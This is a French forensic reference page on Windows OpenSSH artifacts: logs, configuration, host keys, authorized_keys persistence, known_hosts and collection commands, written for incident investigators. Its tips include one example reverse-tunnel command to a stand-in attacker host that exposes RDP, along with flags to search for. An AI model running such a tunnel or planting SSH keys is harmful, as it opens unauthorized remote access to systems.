Aller au contenu

Réseau et accès distant

Serveur et client OpenSSH

Fiche OpenSSH sous Windows : journal de sshd, sshd_config et clés d'hôte, persistance par authorized_keys, known_hosts, traces du client et tunnels inversés.

Emplacement
C:\Windows\System32\winevt\Logs\OpenSSH%4Operational.evtx
Prouve
Connexions SSH acceptées et échouées (utilisateur, IP source, méthode d'authentification) et clés donnant un accès SSH persistant
Horodatages
TimeCreated des événements en UTC ; horodatages système de fichiers d'authorized_keys et known_hosts en UTC (NTFS)
Rétention
OpenSSH/Operational est un petit journal circulaire ; les fichiers de clés persistent jusqu'à leur suppression
Accès
Administrateur pour lire le journal et %ProgramData%\ssh ; les dossiers .ssh par utilisateur exigent les droits de cet utilisateur ou d'un administrateur
Type
Journal d'événements
Windows
1011
Cible KAPE
Pas de cible dédiée
Velociraptor
Pas de cible dédiée

Présentation

Windows embarque le portage d'OpenSSH maintenu par Microsoft. Le client (ssh.exe, scp.exe, sftp.exe) est installé par défaut à partir de Windows 10 1803. Le serveur (service sshd) est une fonctionnalité facultative (« OpenSSH Server », disponible depuis Windows 10 1809 et Server 2019) qu'il faut ajouter, par exemple avec Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0. Il peut aussi être installé depuis les versions GitHub de Win32-OpenSSH dans C:\Program Files\OpenSSH. Les attaquants s'en servent pour des shells distants chiffrés, une persistance par clé et des tunnels qui contournent les contrôles périmétriques.

Emplacement

ÉlémentEmplacement
Binaires (intégrés)C:\Windows\System32\OpenSSH\ (ssh.exe, sshd.exe, ssh-agent.exe)
Journal d'événementsOpenSSH/Operational (OpenSSH%4Operational.evtx)
Journal texte (facultatif)%ProgramData%\ssh\logs\sshd.log quand SyslogFacility LOCAL0 est défini
Configuration du serveur%ProgramData%\ssh\sshd_config
Clés d'hôte%ProgramData%\ssh\ssh_host_*_key (+ .pub), créées au premier démarrage du service
Clés autorisées des administrateurs%ProgramData%\ssh\administrators_authorized_keys (utilisé pour les membres d'Administrators via le bloc par défaut Match Group administrators)
Clés par utilisateur%USERPROFILE%\.ssh\authorized_keys, known_hosts, id_*, config
Shell par défautHKLM\SOFTWARE\OpenSSH, valeur DefaultShell (cmd.exe si absente)
Règle de pare-feuOpenSSH-Server-In-TCP (TCP 22), créée par la fonctionnalité facultative

Ce que l'artefact prouve

  • Serveur : quel compte s'est connecté en SSH, depuis quelle IP et quel port, avec quelle méthode (mot de passe ou clé publique), ainsi que les tentatives échouées. Les événements 4624/4625 du journal Security ajoutent la session d'ouverture.
  • Persistance : une clé publique dans administrators_authorized_keys ou dans l'authorized_keys d'un utilisateur donne un accès sans mot de passe, qui survit aux réinitialisations de mot de passe.
  • Usage du client : known_hosts liste les hôtes auxquels cet utilisateur s'est connecté (hachés uniquement si HashKnownHosts était activé). L'exécution de ssh.exe apparaît dans le Prefetch, Amcache et BAM.

Il ne consigne pas les commandes tapées dans la session SSH. Utilisez la création de processus (4688, événement 1 de Sysmon) avec sshd.exe comme parent, et les journaux PowerShell.

Champs clés

SourceTraceRemarques
OpenSSH/Operationalsshd: Accepted password for <user> from <ip> port <n> ssh2Aussi Accepted publickey ... <type de clé> SHA256:<empreinte>
OpenSSH/OperationalFailed password for ..., Invalid user ..., Disconnected from ...Force brute et énumération
OpenSSH/OperationalID d'événementsLes messages partagent des ID génériques : filtrez sur le texte plutôt que sur l'ID
Security 4624Ouverture de session par sshd.exeLe type d'ouverture de session dépend de la méthode d'authentification et de la version ; le type 8 (NetworkCleartext) est souvent signalé pour les mots de passe, les connexions par clé peuvent différer. Validez sur une machine de test
System 7045 / 7036Service sshd installé / démarréDate la première utilisation de la fonctionnalité
authorized_keysType de clé, clé en base64, commentaire finalLe commentaire (par exemple user@kali) est contrôlé par l'attaquant mais souvent révélateur

Horodatages

HorodatageSignificationPièges
TimeCreated de l'événementHeure de connexion ou d'échec, UTCPetit journal, les événements anciens peuvent avoir disparu
Horodatages $SI/$FN d'authorized_keysFichier de clés créé ou modifiéComparez $SI et $FN dans la $MFT pour détecter le timestomping
Modification de known_hostsDernier ajout d'une nouvelle clé d'hôtePas mis à jour à chaque connexion
Création des clés d'hôtePremier démarrage de sshdBon indicateur de la date d'installation du serveur

Rétention et effacement

  • Le canal OpenSSH/Operational est petit et circulaire ; sur un serveur exposé, le bruit de la force brute peut chasser la connexion réussie en quelques jours.
  • Les clés restent jusqu'à leur suppression. Suppressions et modifications peuvent rester visibles dans le journal USN et les clichés instantanés de volume.
  • La désinstallation de la fonctionnalité facultative ne supprime pas forcément %ProgramData%\ssh.

Collecte

wevtutil epl OpenSSH/Operational E:\case\OpenSSH-Operational.evtx
robocopy C:\ProgramData\ssh E:\case\ProgramData_ssh /E /COPY:DAT
Get-ChildItem C:\Users\*\.ssh -Force -Recurse | Select FullName, Length, CreationTimeUtc, LastWriteTimeUtc
Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'
Get-Service sshd, ssh-agent

Ne copiez les clés d'hôte privées que si l'affaire l'exige, et traitez-les comme des éléments sensibles.

Outils d'analyse

  • EvtxECmd, Get-WinEvent, Chainsaw : événements OpenSSH, Security et System.
  • PECmd et AmcacheParser : exécution du client (SSH.EXE, PLINK.EXE).
  • Velociraptor : recherche des fichiers authorized_keys et des journaux sshd sur tout le parc.
  • N'importe quel éditeur de texte pour sshd_config, known_hosts et les fichiers de clés.

Conseils d'investigation

  • Comparez sshd_config à la version par défaut : modifications de PasswordAuthentication ou PubkeyAuthentication, AuthorizedKeysFile pointant ailleurs, GatewayPorts yes ou AllowTcpForwarding activé.
  • Tunnels inversés : ssh.exe -R <port>:localhost:3389 user@attaquant expose RDP via une connexion sortante. Cherchez -R, -L, -D, -N dans les lignes de commande, puis des connexions RDP depuis 127.0.0.1 ou ::1 dans les journaux de connexions RDP. plink.exe s'utilise de la même façon.
  • Une installation inattendue de sshd sur un poste de travail est un constat en soi : datez-la avec le 7045 du journal System, la création des clés d'hôte et la règle de pare-feu.
  • Corrélez les entrées known_hosts du client avec les traces réseau (SRUM, journaux du pare-feu, DNS) pour identifier les cibles du mouvement latéral.

Artefacts liés

Termes du glossaire

Guides

Tous les artefacts sur une page : aide-mémoire